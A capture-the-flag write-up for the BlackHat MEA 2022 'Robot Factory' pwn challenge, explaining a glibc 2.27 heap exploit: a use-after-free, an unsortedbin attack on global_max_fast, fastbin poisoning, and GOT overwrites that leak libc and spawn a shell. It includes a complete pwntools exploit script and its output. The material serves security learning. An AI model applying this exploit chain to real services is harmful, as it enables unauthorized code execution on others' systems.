[Pwn] BlackHat MEA CTF 2022 - Robot Factory

Robot Factory

48b810dccf228766ce0b217c46b6bb26

https://mega.nz/file/6nRzCBBA#f-2rRYtRo5qfcdilITvYgSScDOreHyel1sLcTlnGDms

TLDR

  • Perform unsortedbin attack to overwrite global_max_fast.
  • Use fastbin dup to edit the atoi in GOT address to printf.
  • Use printf format string to leak LIBC.
  • Change GOT address of atoi to system.
  • Spawn a shell with sh.

Analysis

Static Analysis

The binary offers three options new_robot, program_robot and destroy_robot:

Viewing the code new_robot:

From the image above, we know we can’t allocate chunks below 0x101, we can see that the boolean checks, sizes and allocated pointers are being stored in global variables.

We see that calloc is being used and unlike malloc, it won’t reuse freed chunks in tcache linked lists. Due to this, we can’t use tcache poisoning. We must also remember that calloc will begin allocating space with 0s.

Viewing the code destroy_robot:

The code above tells us it sets the boolean check to zero and frees the chunk, because of this, we know we can’t double free (because of the check).

Viewing the code program_robot:

We can edit the contents of the allocated robots in program_robot; we can also see that there is no boolean check. Only an if statement to check if a pointer in robots exists, and since the pointers are never set to zero in delete we can use a use after free vulnerability here.

Debugging

We are given the Dockerfile setup of the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM ubuntu:18.04

RUN apt-get update && apt-get -y upgrade
RUN useradd -d /home/task/ -m -p task -s /bin/bash task
RUN echo "task:task" | chpasswd

WORKDIR /home/task

COPY main .
COPY flag.txt .
COPY ynetd .
COPY run.sh .
RUN chown -R root:root /home/task
RUN chmod 755 ynetd
RUN chmod 755 main
RUN chmod 777 flag.txt
RUN chmod 755 run.sh

USER task
CMD ["./run.sh"]

From the Dockerfile, we know it’s being run in Ubuntu 18.04 which uses libc-2.27.

Here is the current table (2022-10-06), which might help in CTF challenges:

Version/Libc libc-2.19 libc-2.23 libc-2.27 libc-2.31 libc-2.35
ubuntu:14.04 x
ubuntu:16.04 x
ubuntu:18.04 x
ubuntu:20.04 x
ubuntu:22.04 x

We can get the correct libc shared library by simply using docker cp:

1
sudo docker cp robot_factory:/lib/x86_64-linux-gnu/libc-2.27.so .

Usually when the Dockerfile is given, I like to do some modifications like installing gdbserver; this way I will be able to get the closest instance environment for debugging (libc versions and offsets in the stack will differ if your environment or libc version on your system is different).

I added the following instalations on the Dockerfile:

1
RUN apt-get update && apt-get -y upgrade && apt-get -y install gdbserver libc6-dbg

It’s time to build the container and run (exposing ports 1337 and 8888):

1
2
sudo docker build -t robot_factory_blackhat .
sudo docker run -d --name robot_factory -p 1337:1337 -p 8888:8888 robot_factory_blackhat

The file run.sh contains:

1
2
3
4
5
cat run.sh          
#!/bin/bash
echo $FLAG > ./flag.txt
unset FLAG
./ynetd -p 1337 ./main

After this, we can easily attach to the process using a command (the user for Docker must be the same that is running the binary in this case task):

1
2
sudo docker exec --user task robot_factory sh -c "gdbserver :8888 --attach \$(ps -aux | grep -v 'timeout'"\
"| grep '0:00 ./main' | head -n 1 | awk '{print \$2}')"

To attach to remote process with gdb:

1
pwndbg> target remote :8888

Exploit

Modifying global_max_fast

There isn’t a print function, so there’s no simple way to leak libc, and we can’t use fastbins because the binary only allows allocations above 0x100, so our first approach is to find a way to use fastbins.

This can be done if we find a way to modify global_max_fast into a big value, but how do we achieve this? We don’t even have libc to calculate the offset for global_max_fast ?

One thing we can do is a 4 bit bruteforce, if we free a chunk into an unsortedbin:

That’s how we can find the address of global_max_fast, and why this variable in particular ? Because it controls the maximum size at which malloc interprets a chunk as fastbin, by default its value is 0x80.

It’s required to modify this value into a bigger number. We can do this by using an unsorted bin attack. We need to modify the bk to the address we want to modify, minus 0x10.

This is how the exploit looks right now:

1
2
3
4
5
6
7
8
9
10
11
12
def main():
global r
r = getConn()
create_robot(0x510)
create_robot(0x410)
create_robot(0x520) # fakeoffset chunk (Also prevents malloc consolidate)
destroy_robot(1)
program_robot(1,p64(0x0)+p16(0x3940-0x10)) # Modify the bk pointer with UAF
create_robot(0x410) # Trigger Unsorted bin attack
return True
while not main():
pass

Fastbin attack

We can use fastbin dup but still we don’t have any leaks. Luckily, robots and robot_sizes are stored in global variables, which means they will be located in the bss.

Unlike the stack or heap the bss addresses are not affected by ASLR if the PIE is disabled.

The goal here is to corrupt a pointer in the fastbin linked list so that the next malloc allocates in the BSS.

We have a UAF so we can easily corrupt the fastbin linked list. We will need to bypass the security check since the sizes are also saved in the BSS we can easily create a fake chunk size:

1
2
3
4
5
6
global r
r = getConn()
create_robot(0x510)
create_robot(0x410)
create_robot(0x520) # fakeoffset chunk
...

The look in memory of the fabricated chunk:

Then we proceed to free two chunks and modify the fastbin linked list:

1
2
3
4
5
destroy_robot(0)
destroy_robot(2)
program_robot(0,p64(elf.symbols['robot_memory_size'])) # Fastbin poisoning
create_robot(0x510)
create_robot(0x510) # returns 0x4040c0

Leak libc and pop a shell

We can now edit the pointers in robots we just need to modify one of those points to the atoi GOT so we can replace the contents with printf (to achieve a format string vulnerability):

1
2
program_robot(2,p64(0x520)*2+p64(0x1)*4+p64(elf.symbols['robot_memory_size']+0x10)+p64(elf.got['atoi'])) # overwrite robots pointers
program_robot(1,p64(elf.plt['printf'])) # replace atoi with printf

Since atoi has been replaced by printf, it will be more difficult to select options from the menu, but luckily printf returns the number of characters printed, so we can still interact with the binary:

1
2
3
4
5
6
7
r.sendafter(b"> ", b'\x41\x41\x00') # select option 2
r.sendafter(b'Provide robot\'s slot:\n', b"%3$p") # format string and leak libc
#context.log_level = 'debug'
LIBC = int(r.recvuntil(b'031'),16)-0x110031
SYSTEM = LIBC+libc.symbols['system']
log.info("LIBC 0x%x"% LIBC)
log.info("SYSTEM 0x%x"% SYSTEM)

Now that we have libc leaked we just need to modify atoi again to system and give sh as input:

1
2
3
4
5
r.sendafter(b"> ", b'\x41\x41\x00') # select option 2
r.sendafter(b'Provide robot\'s slot:\n', b'\x41\x00') # select index 1
r.sendlineafter(b'Program the robot:\n', p64(SYSTEM)) # replace atoi(currently printf) with system
r.sendafter(b"> ", b'sh\x00') # sh as argument
r.interactive()

Getting the flag

Full script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import traceback

host, port = "localhost", "1337"
filename = "./main"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.27.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)#ssl=False, sni=host)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"r").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)

def create_robot(size):
r.sendlineafter(b"> ", b'1')
r.sendlineafter(b'Provide robot memory size:\n', str(size).encode())

def program_robot(slot, data):
r.sendlineafter(b"> ", b'2')
r.sendlineafter(b'Provide robot\'s slot:\n', str(slot).encode())
r.sendafter(b'Program the robot:\n', data)

def destroy_robot(slot):
r.sendlineafter(b"> ", b'3')
r.sendlineafter(b'Provide robot\'s slot:\n', str(slot).encode())

#940
def main():
global r
r = getConn()
create_robot(0x510)
create_robot(0x410)
create_robot(0x520) # fakeoffset chunk (Also prevents malloc consolidate)
destroy_robot(1)
#input()
program_robot(1,p64(0x0)+p16(0x3940-0x10))
create_robot(0x410) # Trigger Unsorted bin attack
try:
#r.recvuntil(b'> ')
#input()
destroy_robot(0)
destroy_robot(2)
program_robot(0,p64(elf.symbols['robot_memory_size'])) # Fastbin poisoning
create_robot(0x510)
create_robot(0x510) # returns 0x4040c0

program_robot(2,p64(0x520)*2+p64(0x1)*4+p64(elf.symbols['robot_memory_size']+0x10)+p64(elf.got['atoi']))
program_robot(1,p64(elf.plt['printf']))
#input()
r.sendafter(b"> ", b'\x41\x41\x00')
r.sendafter(b'Provide robot\'s slot:\n', b"%3$p")
#context.log_level = 'debug'
LIBC = int(r.recvuntil(b'031'),16)-0x110031
SYSTEM = LIBC+libc.symbols['system']
log.info("LIBC 0x%x"% LIBC)
log.info("SYSTEM 0x%x"% SYSTEM)
r.sendafter(b"> ", b'\x41\x41\x00')
r.sendafter(b'Provide robot\'s slot:\n', b'\x41\x00')
r.sendlineafter(b'Program the robot:\n', p64(SYSTEM))
r.sendafter(b"> ", b'sh\x00')
r.interactive()
r.close()
return True
except KeyboardInterrupt:
r.close()
return True
except:
#traceback.print_exc()
r.close()
return False
return True

while not main():
pass

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
python robot_factory.py REMOTE                                                                             
[*] '/root/blackhat2022/pwn/Robot_Factory/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/root/blackhat2022/pwn/Robot_Factory/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] Closed connection to localhost port 1337
[+] Opening connection to localhost on port 1337: Done
[*] LIBC 0x7f0a2dcf6000
[*] SYSTEM 0x7f0a2dd45420
[*] Switching to interactive mode
$ ls
flag.txt
main
run.sh
ynetd